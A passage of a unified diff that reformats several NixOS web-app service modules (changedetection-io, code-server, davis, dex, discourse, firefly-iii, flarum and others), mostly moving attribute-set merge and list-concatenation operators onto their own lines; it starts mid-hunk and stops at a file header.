+            Environment = [
+              "HIDE_REFERER=true"
+            ]
+            ++ lib.optional (cfg.baseURL != null) "BASE_URL=${cfg.baseURL}"
+            ++ lib.optional cfg.behindProxy "USE_X_SETTINGS=1"
+            ++ lib.optional cfg.webDriverSupport "WEBDRIVER_URL=http://127.0.0.1:${toString cfg.chromePort}/wd/hub"
+            ++ lib.optional cfg.playwrightSupport "PLAYWRIGHT_DRIVER_URL=ws://127.0.0.1:${toString cfg.chromePort}/?stealth=1&--disable-web-security=true";
             EnvironmentFile = mkIf (cfg.environmentFile != null) cfg.environmentFile;
             ExecStart = ''
               ${pkgs.changedetection-io}/bin/changedetection.py \
diff --git a/nixos/modules/services/web-apps/cloudlog.nix b/nixos/modules/services/web-apps/cloudlog.nix
index ebf733c1c6d5..bec59aa779e1 100644
--- a/nixos/modules/services/web-apps/cloudlog.nix
+++ b/nixos/modules/services/web-apps/cloudlog.nix
@@ -324,7 +324,8 @@ in
         settings = {
           "listen.owner" = config.services.nginx.user;
           "listen.group" = config.services.nginx.group;
-        } // cfg.poolConfig;
+        }
+        // cfg.poolConfig;
       };
     };
 
diff --git a/nixos/modules/services/web-apps/code-server.nix b/nixos/modules/services/web-apps/code-server.nix
index 3ec119d76b0a..1f8defce5e22 100644
--- a/nixos/modules/services/web-apps/code-server.nix
+++ b/nixos/modules/services/web-apps/code-server.nix
@@ -221,39 +221,39 @@ in
       path = cfg.extraPackages;
       environment = {
         HASHED_PASSWORD = cfg.hashedPassword;
-      } // cfg.extraEnvironment;
+      }
+      // cfg.extraEnvironment;
       serviceConfig = {
-        ExecStart =
-          ''
-            ${lib.getExe cfg.package} \
-              --auth=${cfg.auth} \
-              --bind-addr=${cfg.host}:${toString cfg.port} \
-          ''
-          + lib.optionalString (cfg.socket != null) ''
-            --socket=${cfg.socket} \
-          ''
-          + lib.optionalString (cfg.userDataDir != null) ''
-            --user-data-dir=${cfg.userDataDir} \
-          ''
-          + lib.optionalString (cfg.extensionsDir != null) ''
-            --extensions-dir=${cfg.extensionsDir} \
-          ''
-          + lib.optionalString (cfg.disableTelemetry == true) ''
-            --disable-telemetry \
-          ''
-          + lib.optionalString (cfg.disableUpdateCheck == true) ''
-            --disable-update-check \
-          ''
-          + lib.optionalString (cfg.disableFileDownloads == true) ''
-            --disable-file-downloads \
-          ''
-          + lib.optionalString (cfg.disableWorkspaceTrust == true) ''
-            --disable-workspace-trust \
-          ''
-          + lib.optionalString (cfg.disableGettingStartedOverride == true) ''
-            --disable-getting-started-override \
-          ''
-          + lib.escapeShellArgs cfg.extraArguments;
+        ExecStart = ''
+          ${lib.getExe cfg.package} \
+            --auth=${cfg.auth} \
+            --bind-addr=${cfg.host}:${toString cfg.port} \
+        ''
+        + lib.optionalString (cfg.socket != null) ''
+          --socket=${cfg.socket} \
+        ''
+        + lib.optionalString (cfg.userDataDir != null) ''
+          --user-data-dir=${cfg.userDataDir} \
+        ''
+        + lib.optionalString (cfg.extensionsDir != null) ''
+          --extensions-dir=${cfg.extensionsDir} \
+        ''
+        + lib.optionalString (cfg.disableTelemetry == true) ''
+          --disable-telemetry \
+        ''
+        + lib.optionalString (cfg.disableUpdateCheck == true) ''
+          --disable-update-check \
+        ''
+        + lib.optionalString (cfg.disableFileDownloads == true) ''
+          --disable-file-downloads \
+        ''
+        + lib.optionalString (cfg.disableWorkspaceTrust == true) ''
+          --disable-workspace-trust \
+        ''
+        + lib.optionalString (cfg.disableGettingStartedOverride == true) ''
+          --disable-getting-started-override \
+        ''
+        + lib.escapeShellArgs cfg.extraArguments;
         ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
         RuntimeDirectory = cfg.user;
         User = cfg.user;
diff --git a/nixos/modules/services/web-apps/commafeed.nix b/nixos/modules/services/web-apps/commafeed.nix
index 354e3625bb99..15aad73a2585 100644
--- a/nixos/modules/services/web-apps/commafeed.nix
+++ b/nixos/modules/services/web-apps/commafeed.nix
@@ -106,7 +106,8 @@ in
           "~@privileged"
         ];
         UMask = "0077";
-      } // lib.optionalAttrs (cfg.environmentFile != null) { EnvironmentFile = cfg.environmentFile; };
+      }
+      // lib.optionalAttrs (cfg.environmentFile != null) { EnvironmentFile = cfg.environmentFile; };
     };
   };
 
diff --git a/nixos/modules/services/web-apps/crabfit.nix b/nixos/modules/services/web-apps/crabfit.nix
index d58027a6965d..c984589c2d3b 100644
--- a/nixos/modules/services/web-apps/crabfit.nix
+++ b/nixos/modules/services/web-apps/crabfit.nix
@@ -121,7 +121,8 @@ in
           API_LISTEN = "127.0.0.1:${builtins.toString cfg.api.port}";
           DATABASE_URL = "postgres:///crabfit?host=/run/postgresql";
           FRONTEND_URL = "https://${cfg.frontend.host}";
-        } // cfg.api.environment;
+        }
+        // cfg.api.environment;
       };
 
       crabfit-frontend = {
@@ -140,7 +141,8 @@ in
         environment = {
           NEXT_PUBLIC_API_URL = "https://${cfg.api.host}";
           PORT = builtins.toString cfg.frontend.port;
-        } // cfg.frontend.environment;
+        }
+        // cfg.frontend.environment;
       };
     };
 
diff --git a/nixos/modules/services/web-apps/davis.nix b/nixos/modules/services/web-apps/davis.nix
index 45748c346e2e..d2874559eff5 100644
--- a/nixos/modules/services/web-apps/davis.nix
+++ b/nixos/modules/services/web-apps/davis.nix
@@ -312,45 +312,44 @@ in
           message = "One of (and only one of) services.davis.mail.dsn or services.davis.mail.dsnFile must be set.";
         }
       ];
-      services.davis.config =
-        {
-          APP_ENV = "prod";
-          APP_CACHE_DIR = "${cfg.dataDir}/var/cache";
-          # note: we do not need the log dir (we log to stdout/journald), by davis/symfony will try to create it, and the default value is one in the nix-store
-          #       so we set it to a path under dataDir to avoid something like: Unable to create the "logs" directory (/nix/store/5cfskz0ybbx37s1161gjn5klwb5si1zg-davis-4.4.1/var/log).
-          APP_LOG_DIR = "${cfg.dataDir}/var/log";
-          LOG_FILE_PATH = "/dev/stdout";
-          DATABASE_DRIVER = db.driver;
-          INVITE_FROM_ADDRESS = mail.inviteFromAddress;
-          APP_SECRET._secret = cfg.appSecretFile;
-          ADMIN_LOGIN = cfg.adminLogin;
-          ADMIN_PASSWORD._secret = cfg.adminPasswordFile;
-          APP_TIMEZONE = config.time.timeZone;
-          WEBDAV_ENABLED = false;
-          CALDAV_ENABLED = true;
-          CARDDAV_ENABLED = true;
-        }
-        // (if mail.dsn != null then { MAILER_DSN = mail.dsn; } else { MAILER_DSN._secret = mail.dsnFile; })
-        // (
-          if db.createLocally then
-            {
-              DATABASE_URL =
-                if db.driver == "sqlite" then
-                  "sqlite:///${cfg.dataDir}/davis.db" # note: sqlite needs 4 slashes for an absolute path
-                else if
-                  pgsqlLocal
-                # note: davis expects a non-standard postgres uri (due to the underlying doctrine library)
-                # specifically the dummy hostname which is overriden by the host query parameter
-                then
-                  "postgres://${user}@localhost/${db.name}?host=/run/postgresql"
-                else if mysqlLocal then
-                  "mysql://${user}@localhost/${db.name}?socket=/run/mysqld/mysqld.sock"
-                else
-                  null;
-            }
-          else
-            { DATABASE_URL._secret = db.urlFile; }
-        );
+      services.davis.config = {
+        APP_ENV = "prod";
+        APP_CACHE_DIR = "${cfg.dataDir}/var/cache";
+        # note: we do not need the log dir (we log to stdout/journald), by davis/symfony will try to create it, and the default value is one in the nix-store
+        #       so we set it to a path under dataDir to avoid something like: Unable to create the "logs" directory (/nix/store/5cfskz0ybbx37s1161gjn5klwb5si1zg-davis-4.4.1/var/log).
+        APP_LOG_DIR = "${cfg.dataDir}/var/log";
+        LOG_FILE_PATH = "/dev/stdout";
+        DATABASE_DRIVER = db.driver;
+        INVITE_FROM_ADDRESS = mail.inviteFromAddress;
+        APP_SECRET._secret = cfg.appSecretFile;
+        ADMIN_LOGIN = cfg.adminLogin;
+        ADMIN_PASSWORD._secret = cfg.adminPasswordFile;
+        APP_TIMEZONE = config.time.timeZone;
+        WEBDAV_ENABLED = false;
+        CALDAV_ENABLED = true;
+        CARDDAV_ENABLED = true;
+      }
+      // (if mail.dsn != null then { MAILER_DSN = mail.dsn; } else { MAILER_DSN._secret = mail.dsnFile; })
+      // (
+        if db.createLocally then
+          {
+            DATABASE_URL =
+              if db.driver == "sqlite" then
+                "sqlite:///${cfg.dataDir}/davis.db" # note: sqlite needs 4 slashes for an absolute path
+              else if
+                pgsqlLocal
+              # note: davis expects a non-standard postgres uri (due to the underlying doctrine library)
+              # specifically the dummy hostname which is overriden by the host query parameter
+              then
+                "postgres://${user}@localhost/${db.name}?host=/run/postgresql"
+              else if mysqlLocal then
+                "mysql://${user}@localhost/${db.name}?socket=/run/mysqld/mysqld.sock"
+              else
+                null;
+          }
+        else
+          { DATABASE_URL._secret = db.urlFile; }
+      );
 
       users = {
         users = lib.mkIf (user == "davis") {
@@ -381,25 +380,24 @@ in
           APP_CACHE_DIR = "${cfg.dataDir}/var/cache";
           APP_LOG_DIR = "${cfg.dataDir}/var/log";
         };
-        settings =
-          {
-            "listen.mode" = "0660";
-            "pm" = "dynamic";
-            "pm.max_children" = 256;
-            "pm.start_servers" = 10;
-            "pm.min_spare_servers" = 5;
-            "pm.max_spare_servers" = 20;
-          }
-          // (
-            if cfg.nginx != null then
-              {
-                "listen.owner" = config.services.nginx.user;
-                "listen.group" = config.services.nginx.group;
-              }
-            else
-              { }
-          )
-          // cfg.poolConfig;
+        settings = {
+          "listen.mode" = "0660";
+          "pm" = "dynamic";
+          "pm.max_children" = 256;
+          "pm.start_servers" = 10;
+          "pm.min_spare_servers" = 5;
+          "pm.max_spare_servers" = 20;
+        }
+        // (
+          if cfg.nginx != null then
+            {
+              "listen.owner" = config.services.nginx.user;
+              "listen.group" = config.services.nginx.group;
+            }
+          else
+            { }
+        )
+        // cfg.poolConfig;
       };
 
       # Reading the user-provided secret files requires root access
@@ -468,13 +466,12 @@ in
         "davis-env-setup.service"
         "davis-db-migrate.service"
       ];
-      systemd.services.phpfpm-davis.requires =
-        [
-          "davis-env-setup.service"
-          "davis-db-migrate.service"
-        ]
-        ++ lib.optional mysqlLocal "mysql.service"
-        ++ lib.optional pgsqlLocal "postgresql.service";
+      systemd.services.phpfpm-davis.requires = [
+        "davis-env-setup.service"
+        "davis-db-migrate.service"
+      ]
+      ++ lib.optional mysqlLocal "mysql.service"
+      ++ lib.optional pgsqlLocal "postgresql.service";
       systemd.services.phpfpm-davis.serviceConfig.ReadWritePaths = [ cfg.dataDir ];
 
       services.nginx = lib.mkIf (cfg.nginx != null) {
diff --git a/nixos/modules/services/web-apps/dependency-track.nix b/nixos/modules/services/web-apps/dependency-track.nix
index 32f25e81f242..a8aa9008ef27 100644
--- a/nixos/modules/services/web-apps/dependency-track.nix
+++ b/nixos/modules/services/web-apps/dependency-track.nix
@@ -585,15 +585,18 @@ in
         # provide settings via env vars to allow overriding default settings.
         environment = {
           HOME = "%S/dependency-track";
-        } // renderSettings cfg.settings;
+        }
+        // renderSettings cfg.settings;
         serviceConfig = {
           User = "dependency-track";
           Group = "dependency-track";
           DynamicUser = true;
           StateDirectory = "dependency-track";
-          LoadCredential =
-            [ "db_password:${cfg.database.passwordFile}" ]
-            ++ lib.optional cfg.settings."alpine.ldap.enabled"
+          LoadCredential = [
+            "db_password:${cfg.database.passwordFile}"
+          ]
+          ++
+            lib.optional cfg.settings."alpine.ldap.enabled"
               "ldap_bind_password:${cfg.ldap.bindPasswordFile}";
         };
         script = ''
diff --git a/nixos/modules/services/web-apps/dex.nix b/nixos/modules/services/web-apps/dex.nix
index 37b27ae8f1cd..870ec2e17ecb 100644
--- a/nixos/modules/services/web-apps/dex.nix
+++ b/nixos/modules/services/web-apps/dex.nix
@@ -98,68 +98,68 @@ in
       wantedBy = [ "multi-user.target" ];
       after = [
         "networking.target"
-      ] ++ (optional (cfg.settings.storage.type == "postgres") "postgresql.service");
+      ]
+      ++ (optional (cfg.settings.storage.type == "postgres") "postgresql.service");
       path = with pkgs; [ replace-secret ];
       restartTriggers = restartTriggers;
-      serviceConfig =
-        {
-          ExecStart = "${pkgs.dex-oidc}/bin/dex serve /run/dex/config.yaml";
-          ExecStartPre = [
-            "${pkgs.coreutils}/bin/install -m 600 ${configFile} /run/dex/config.yaml"
-            "+${startPreScript}"
-          ];
+      serviceConfig = {
+        ExecStart = "${pkgs.dex-oidc}/bin/dex serve /run/dex/config.yaml";
+        ExecStartPre = [
+          "${pkgs.coreutils}/bin/install -m 600 ${configFile} /run/dex/config.yaml"
+          "+${startPreScript}"
+        ];
 
-          RuntimeDirectory = "dex";
-          BindReadOnlyPaths = [
-            "/nix/store"
-            "-/etc/dex"
-            "-/etc/hosts"
-            "-/etc/localtime"
-            "-/etc/nsswitch.conf"
-            "-/etc/resolv.conf"
-            "${config.security.pki.caBundle}:/etc/ssl/certs/ca-certificates.crt"
-          ];
-          BindPaths = optional (cfg.settings.storage.type == "postgres") "/var/run/postgresql";
-          # ProtectClock= adds DeviceAllow=char-rtc r
-          DeviceAllow = "";
-          DynamicUser = true;
-          LockPersonality = true;
-          MemoryDenyWriteExecute = true;
-          NoNewPrivileges = true;
-          PrivateDevices = true;
-          PrivateMounts = true;
-          # Port needs to be exposed to the host network
-          #PrivateNetwork = true;
-          PrivateTmp = true;
-          PrivateUsers = true;
-          ProcSubset = "pid";
-          ProtectClock = true;
-          ProtectHome = true;
-          ProtectHostname = true;
-          ProtectSystem = "strict";
-          ProtectControlGroups = true;
-          ProtectKernelLogs = true;
-          ProtectKernelModules = true;
-          ProtectKernelTunables = true;
-          ProtectProc = "invisible";
-          RestrictAddressFamilies = [
-            "AF_INET"
-            "AF_INET6"
-            "AF_UNIX"
-          ];
-          RestrictNamespaces = true;
-          RestrictRealtime = true;
-          RestrictSUIDSGID = true;
-          SystemCallArchitectures = "native";
-          SystemCallFilter = [
-            "@system-service"
-            "~@privileged @setuid @keyring"
-          ];
-          UMask = "0066";
-        }
-        // optionalAttrs (cfg.environmentFile != null) {
-          EnvironmentFile = cfg.environmentFile;
-        };
+        RuntimeDirectory = "dex";
+        BindReadOnlyPaths = [
+          "/nix/store"
+          "-/etc/dex"
+          "-/etc/hosts"
+          "-/etc/localtime"
+          "-/etc/nsswitch.conf"
+          "-/etc/resolv.conf"
+          "${config.security.pki.caBundle}:/etc/ssl/certs/ca-certificates.crt"
+        ];
+        BindPaths = optional (cfg.settings.storage.type == "postgres") "/var/run/postgresql";
+        # ProtectClock= adds DeviceAllow=char-rtc r
+        DeviceAllow = "";
+        DynamicUser = true;
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        PrivateMounts = true;
+        # Port needs to be exposed to the host network
+        #PrivateNetwork = true;
+        PrivateTmp = true;
+        PrivateUsers = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectSystem = "strict";
+        ProtectControlGroups = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        RestrictAddressFamilies = [
+          "AF_INET"
+          "AF_INET6"
+          "AF_UNIX"
+        ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        RestrictSUIDSGID = true;
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "~@privileged @setuid @keyring"
+        ];
+        UMask = "0066";
+      }
+      // optionalAttrs (cfg.environmentFile != null) {
+        EnvironmentFile = cfg.environmentFile;
+      };
     };
   };
 
diff --git a/nixos/modules/services/web-apps/discourse.nix b/nixos/modules/services/web-apps/discourse.nix
index b454ed97744f..f15e8413e976 100644
--- a/nixos/modules/services/web-apps/discourse.nix
+++ b/nixos/modules/services/web-apps/discourse.nix
@@ -735,14 +735,13 @@ in
         "postgresql.service"
         "discourse-postgresql.service"
       ];
-      bindsTo =
-        [
-          "redis-discourse.service"
-        ]
-        ++ lib.optionals (cfg.database.host == null) [
-          "postgresql.service"
-          "discourse-postgresql.service"
-        ];
+      bindsTo = [
+        "redis-discourse.service"
+      ]
+      ++ lib.optionals (cfg.database.host == null) [
+        "postgresql.service"
+        "discourse-postgresql.service"
+      ];
       path = cfg.package.runtimeDeps ++ [
         postgresqlPackage
         pkgs.replace-secret
@@ -899,14 +898,12 @@ in
               }:
               {
                 proxyPass = "http://discourse";
-                extraConfig =
-                  extraConfig
-                  + ''
-                    proxy_set_header X-Request-Start "t=''${msec}";
-                    proxy_set_header X-Sendfile-Type "";
-                    proxy_set_header X-Accel-Mapping "";
-                    proxy_set_header Client-Ip "";
-                  '';
+                extraConfig = extraConfig + ''
+                  proxy_set_header X-Request-Start "t=''${msec}";
+                  proxy_set_header X-Sendfile-Type "";
+                  proxy_set_header X-Accel-Mapping "";
+                  proxy_set_header Client-Ip "";
+                '';
               };
             cache = time: ''
               expires ${time};
@@ -930,11 +927,9 @@ in
             };
             "~ ^/uploads/short-url/" = proxy { };
             "~ ^/secure-media-uploads/" = proxy { };
-            "~* (fonts|assets|plugins|uploads)/.*\\.(eot|ttf|woff|woff2|ico|otf)$".extraConfig =
-              cache_1y
-              + ''
-                add_header Access-Control-Allow-Origin *;
-              '';
+            "~* (fonts|assets|plugins|uploads)/.*\\.(eot|ttf|woff|woff2|ico|otf)$".extraConfig = cache_1y + ''
+              add_header Access-Control-Allow-Origin *;
+            '';
             "/srv/status" = proxy {
               extraConfig = ''
                 access_log off;
@@ -942,38 +937,34 @@ in
               '';
             };
             "~ ^/javascripts/".extraConfig = cache_1d;
-            "~ ^/assets/(?<asset_path>.+)$".extraConfig =
-              cache_1y
-              + ''
-                # asset pipeline enables this
-                brotli_static on;
-                gzip_static on;
-              '';
+            "~ ^/assets/(?<asset_path>.+)$".extraConfig = cache_1y + ''
+              # asset pipeline enables this
+              brotli_static on;
+              gzip_static on;
+            '';
             "~ ^/plugins/".extraConfig = cache_1y;
             "~ /images/emoji/".extraConfig = cache_1y;
             "~ ^/uploads/" = proxy {
-              extraConfig =
-                cache_1y
-                + ''
-                  proxy_set_header X-Sendfile-Type X-Accel-Redirect;
-                  proxy_set_header X-Accel-Mapping ${cfg.package}/share/discourse/public/=/downloads/;
+              extraConfig = cache_1y + ''
+                proxy_set_header X-Sendfile-Type X-Accel-Redirect;
+                proxy_set_header X-Accel-Mapping ${cfg.package}/share/discourse/public/=/downloads/;
 
-                  # custom CSS
-                  location ~ /stylesheet-cache/ {
-                      try_files $uri =404;
-                  }
-                  # this allows us to bypass rails
-                  location ~* \.(gif|png|jpg|jpeg|bmp|tif|tiff|ico|webp)$ {
-                      try_files $uri =404;
-                  }
-                  # SVG needs an extra header attached
-                  location ~* \.(svg)$ {
-                  }
-                  # thumbnails & optimized images
-                  location ~ /_?optimized/ {
-                      try_files $uri =404;
-                  }
-                '';
+                # custom CSS
+                location ~ /stylesheet-cache/ {
+                    try_files $uri =404;
+                }
+                # this allows us to bypass rails
+                location ~* \.(gif|png|jpg|jpeg|bmp|tif|tiff|ico|webp)$ {
+                    try_files $uri =404;
+                }
+                # SVG needs an extra header attached
+                location ~* \.(svg)$ {
+                }
+                # thumbnails & optimized images
+                location ~ /_?optimized/ {
+                    try_files $uri =404;
+                }
+              '';
             };
             "~ ^/admin/backups/" = proxy {
               extraConfig = ''
@@ -1127,16 +1118,15 @@ in
       };
     };
 
-    users.users =
-      {
-        discourse = {
-          group = "discourse";
-          isSystemUser = true;
-        };
-      }
-      // (lib.optionalAttrs cfg.nginx.enable {
-        ${config.services.nginx.user}.extraGroups = [ "discourse" ];
-      });
+    users.users = {
+      discourse = {
+        group = "discourse";
+        isSystemUser = true;
+      };
+    }
+    // (lib.optionalAttrs cfg.nginx.enable {
+      ${config.services.nginx.user}.extraGroups = [ "discourse" ];
+    });
 
     users.groups = {
       discourse = { };
diff --git a/nixos/modules/services/web-apps/dokuwiki.nix b/nixos/modules/services/web-apps/dokuwiki.nix
index 838e2812fb54..68cbdc851f46 100644
--- a/nixos/modules/services/web-apps/dokuwiki.nix
+++ b/nixos/modules/services/web-apps/dokuwiki.nix
@@ -494,7 +494,8 @@ in
           settings = {
             "listen.owner" = webserver.user;
             "listen.group" = webserver.group;
-          } // cfg.poolConfig;
+          }
+          // cfg.poolConfig;
         })
       ) eachSite;
 
diff --git a/nixos/modules/services/web-apps/dolibarr.nix b/nixos/modules/services/web-apps/dolibarr.nix
index 877490652989..86b8bd6bc892 100644
--- a/nixos/modules/services/web-apps/dolibarr.nix
+++ b/nixos/modules/services/web-apps/dolibarr.nix
@@ -56,26 +56,25 @@ let
     '';
 
   # see https://github.com/Dolibarr/dolibarr/blob/develop/htdocs/install/install.forced.sample.php for all possible values
-  install =
-    {
-      force_install_noedit = 2;
-      force_install_main_data_root = "${cfg.stateDir}/documents";
-      force_install_nophpinfo = true;
-      force_install_lockinstall = "444";
-      force_install_distrib = "nixos";
-      force_install_type = "mysqli";
-      force_install_dbserver = cfg.database.host;
-      force_install_port = toString cfg.database.port;
-      force_install_database = cfg.database.name;
-      force_install_databaselogin = cfg.database.user;
+  install = {
+    force_install_noedit = 2;
+    force_install_main_data_root = "${cfg.stateDir}/documents";
+    force_install_nophpinfo = true;
+    force_install_lockinstall = "444";
+    force_install_distrib = "nixos";
+    force_install_type = "mysqli";
+    force_install_dbserver = cfg.database.host;
+    force_install_port = toString cfg.database.port;
+    force_install_database = cfg.database.name;
+    force_install_databaselogin = cfg.database.user;
 
-      force_install_mainforcehttps = vhostCfg.forceSSL or false;
-      force_install_createuser = false;
-      force_install_dolibarrlogin = null;
-    }
-    // optionalAttrs (cfg.database.passwordFile != null) {
-      force_install_databasepass = ''file_get_contents("${cfg.database.passwordFile}")'';
-    };
+    force_install_mainforcehttps = vhostCfg.forceSSL or false;
+    force_install_createuser = false;
+    force_install_dolibarrlogin = null;
+  }
+  // optionalAttrs (cfg.database.passwordFile != null) {
+    force_install_databasepass = ''file_get_contents("${cfg.database.passwordFile}")'';
+  };
 in
 {
   # interface
@@ -328,7 +327,8 @@ in
           "listen.mode" = "0660";
           "listen.owner" = cfg.user;
           "listen.group" = cfg.group;
-        } // cfg.poolConfig;
+        }
+        // cfg.poolConfig;
       };
 
       # there are several challenges with dolibarr and NixOS which we can address here
diff --git a/nixos/modules/services/web-apps/fider.nix b/nixos/modules/services/web-apps/fider.nix
index c716fb7bfd4e..bf9693364352 100644
--- a/nixos/modules/services/web-apps/fider.nix
+++ b/nixos/modules/services/web-apps/fider.nix
@@ -87,7 +87,8 @@ in
       wantedBy = [ "multi-user.target" ];
       after = [
         "network.target"
-      ] ++ lib.optionals (cfg.database.url == "local") [ "postgresql.service" ];
+      ]
+      ++ lib.optionals (cfg.database.url == "local") [ "postgresql.service" ];
       requires = lib.optionals (cfg.database.url == "local") [ "postgresql.service" ];
       environment =
         let
diff --git a/nixos/modules/services/web-apps/filesender.nix b/nixos/modules/services/web-apps/filesender.nix
index bc8d465643f2..a2c4c8e36fbd 100644
--- a/nixos/modules/services/web-apps/filesender.nix
+++ b/nixos/modules/services/web-apps/filesender.nix
@@ -158,7 +158,8 @@ in
         settings = {
           "listen.owner" = config.services.nginx.user;
           "listen.group" = config.services.nginx.group;
-        } // cfg.poolSettings;
+        }
+        // cfg.poolSettings;
       };
     };
 
diff --git a/nixos/modules/services/web-apps/firefly-iii-data-importer.nix b/nixos/modules/services/web-apps/firefly-iii-data-importer.nix
index 1370e0558538..820d2c819101 100644
--- a/nixos/modules/services/web-apps/firefly-iii-data-importer.nix
+++ b/nixos/modules/services/web-apps/firefly-iii-data-importer.nix
@@ -210,7 +210,8 @@ in
         "pm.min_spare_servers" = lib.mkDefault 2;
         "pm.max_spare_servers" = lib.mkDefault 4;
         "pm.max_requests" = lib.mkDefault 500;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     systemd.services.firefly-iii-data-importer-setup = {
@@ -219,7 +220,8 @@ in
       serviceConfig = {
         ExecStart = data-importer-maintenance;
         RemainAfterExit = true;
-      } // commonServiceConfig;
+      }
+      // commonServiceConfig;
       unitConfig.JoinsNamespaceOf = "phpfpm-firefly-iii-data-importer.service";
       restartTriggers = [ cfg.package ];
     };
diff --git a/nixos/modules/services/web-apps/firefly-iii.nix b/nixos/modules/services/web-apps/firefly-iii.nix
index 436e1228e6fc..3f2214255332 100644
--- a/nixos/modules/services/web-apps/firefly-iii.nix
+++ b/nixos/modules/services/web-apps/firefly-iii.nix
@@ -303,7 +303,8 @@ in
         "pm.min_spare_servers" = lib.mkDefault 2;
         "pm.max_spare_servers" = lib.mkDefault 4;
         "pm.max_requests" = lib.mkDefault 500;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     systemd.services.firefly-iii-setup = {
@@ -316,7 +317,8 @@ in
       serviceConfig = {
         ExecStart = firefly-iii-maintenance;
         RemainAfterExit = true;
-      } // commonServiceConfig;
+      }
+      // commonServiceConfig;
       unitConfig.JoinsNamespaceOf = "phpfpm-firefly-iii.service";
       restartTriggers = [ cfg.package ];
       partOf = [ "phpfpm-firefly-iii.service" ];
@@ -332,7 +334,8 @@ in
       description = "Daily Firefly III cron job";
       serviceConfig = {
         ExecStart = "${artisan} firefly-iii:cron";
-      } // commonServiceConfig;
+      }
+      // commonServiceConfig;
     };
 
     systemd.timers.firefly-iii-cron = {
diff --git a/nixos/modules/services/web-apps/flarum.nix b/nixos/modules/services/web-apps/flarum.nix
index ace42173cb56..2b5517d8af98 100644
--- a/nixos/modules/services/web-apps/flarum.nix
+++ b/nixos/modules/services/web-apps/flarum.nix
@@ -212,26 +212,25 @@ in
         Group = cfg.group;
       };
       path = [ config.services.phpfpm.phpPackage ];
-      script =
-        ''
-          mkdir -p ${cfg.stateDir}/{extensions,public/assets/avatars}
-          mkdir -p ${cfg.stateDir}/storage/{cache,formatter,sessions,views}
-          cd ${cfg.stateDir}
-          cp -f ${cfg.package}/share/php/flarum/{extend.php,site.php,flarum} .
-          ln -sf ${cfg.package}/share/php/flarum/vendor .
-          ln -sf ${cfg.package}/share/php/flarum/public/index.php public/
-        ''
-        + optionalString (cfg.createDatabaseLocally && cfg.database.driver == "mysql") ''
-          if [ ! -f config.php ]; then
-            php flarum install --file=${flarumInstallConfig}
-          fi
-        ''
-        + ''
-          if [ -f config.php ]; then
-            php flarum migrate
-            php flarum cache:clear
-          fi
-        '';
+      script = ''
+        mkdir -p ${cfg.stateDir}/{extensions,public/assets/avatars}
+        mkdir -p ${cfg.stateDir}/storage/{cache,formatter,sessions,views}
+        cd ${cfg.stateDir}
+        cp -f ${cfg.package}/share/php/flarum/{extend.php,site.php,flarum} .
+        ln -sf ${cfg.package}/share/php/flarum/vendor .
+        ln -sf ${cfg.package}/share/php/flarum/public/index.php public/
+      ''
+      + optionalString (cfg.createDatabaseLocally && cfg.database.driver == "mysql") ''
+        if [ ! -f config.php ]; then
+          php flarum install --file=${flarumInstallConfig}
+        fi
+      ''
+      + ''
+        if [ -f config.php ]; then
+          php flarum migrate
+          php flarum cache:clear
+        fi
+      '';
     };
   };
 
diff --git a/nixos/modules/services/web-apps/freshrss.nix b/nixos/modules/services/web-apps/freshrss.nix
index 77b1eb4a1843..1cacfdcbac95 100644
--- a/nixos/modules/services/web-apps/freshrss.nix
+++ b/nixos/modules/services/web-apps/freshrss.nix
@@ -14,13 +14,12 @@ let
     name = "freshrss-extensions";
     paths = cfg.extensions;
   };
-  env-vars =
-    {
-      DATA_PATH = cfg.dataDir;
-    }
-    // lib.optionalAttrs (cfg.extensions != [ ]) {
-      THIRDPARTY_EXTENSIONS_PATH = "${extension-env}/share/freshrss/";
-    };
+  env-vars = {
+    DATA_PATH = cfg.dataDir;
+  }
+  // lib.optionalAttrs (cfg.extensions != [ ]) {
+    THIRDPARTY_EXTENSIONS_PATH = "${extension-env}/share/freshrss/";
+  };
 in
 {
   meta.maintainers = with maintainers; [
diff --git a/nixos/modules/services/web-apps/froide-govplan.nix b/nixos/modules/services/web-apps/froide-govplan.nix
index a2b03f4a6a45..9714c49526d7 100644
--- a/nixos/modules/services/web-apps/froide-govplan.nix
+++ b/nixos/modules/services/web-apps/froide-govplan.nix
@@ -11,11 +11,9 @@ let
   settingsFile = pythonFmt.generate "extra_settings.py" cfg.settings;
 
   pkg = cfg.package.overridePythonAttrs (old: {
-    postInstall =
-      old.postInstall
-      + ''
-        ln -s ${settingsFile} $out/${pkg.python.sitePackages}/froide_govplan/project/extra_settings.py
-      '';
+    postInstall = old.postInstall + ''
+      ln -s ${settingsFile} $out/${pkg.python.sitePackages}/froide_govplan/project/extra_settings.py
+    '';
   });
 
   froide-govplan = pkgs.writeShellApplication {
@@ -190,15 +188,14 @@ in
             "systemd-tmpfiles-setup.service"
           ];
           wantedBy = [ "multi-user.target" ];
-          environment =
-            {
-              PYTHONPATH = "${pkg.pythonPath}:${pkg}/${pkg.python.sitePackages}";
-              GDAL_LIBRARY_PATH = "${pkgs.gdal}/lib/libgdal.so";
-              GEOS_LIBRARY_PATH = "${pkgs.geos}/lib/libgeos_c.so";
-            }
-            // lib.optionalAttrs (cfg.secretKeyFile != null) {
-              SECRET_KEY_FILE = cfg.secretKeyFile;
-            };
+          environment = {
+            PYTHONPATH = "${pkg.pythonPath}:${pkg}/${pkg.python.sitePackages}";
+            GDAL_LIBRARY_PATH = "${pkgs.gdal}/lib/libgdal.so";
+            GEOS_LIBRARY_PATH = "${pkgs.geos}/lib/libgeos_c.so";
+          }
+          // lib.optionalAttrs (cfg.secretKeyFile != null) {
+            SECRET_KEY_FILE = cfg.secretKeyFile;
+          };
           preStart = ''
             # Auto-migrate on first run or if the package has changed
             versionFile="${cfg.dataDir}/src-version"
diff --git a/nixos/modules/services/web-apps/gancio.nix b/nixos/modules/services/web-apps/gancio.nix
index aec066112132..fe5ffa4d9330 100644
--- a/nixos/modules/services/web-apps/gancio.nix
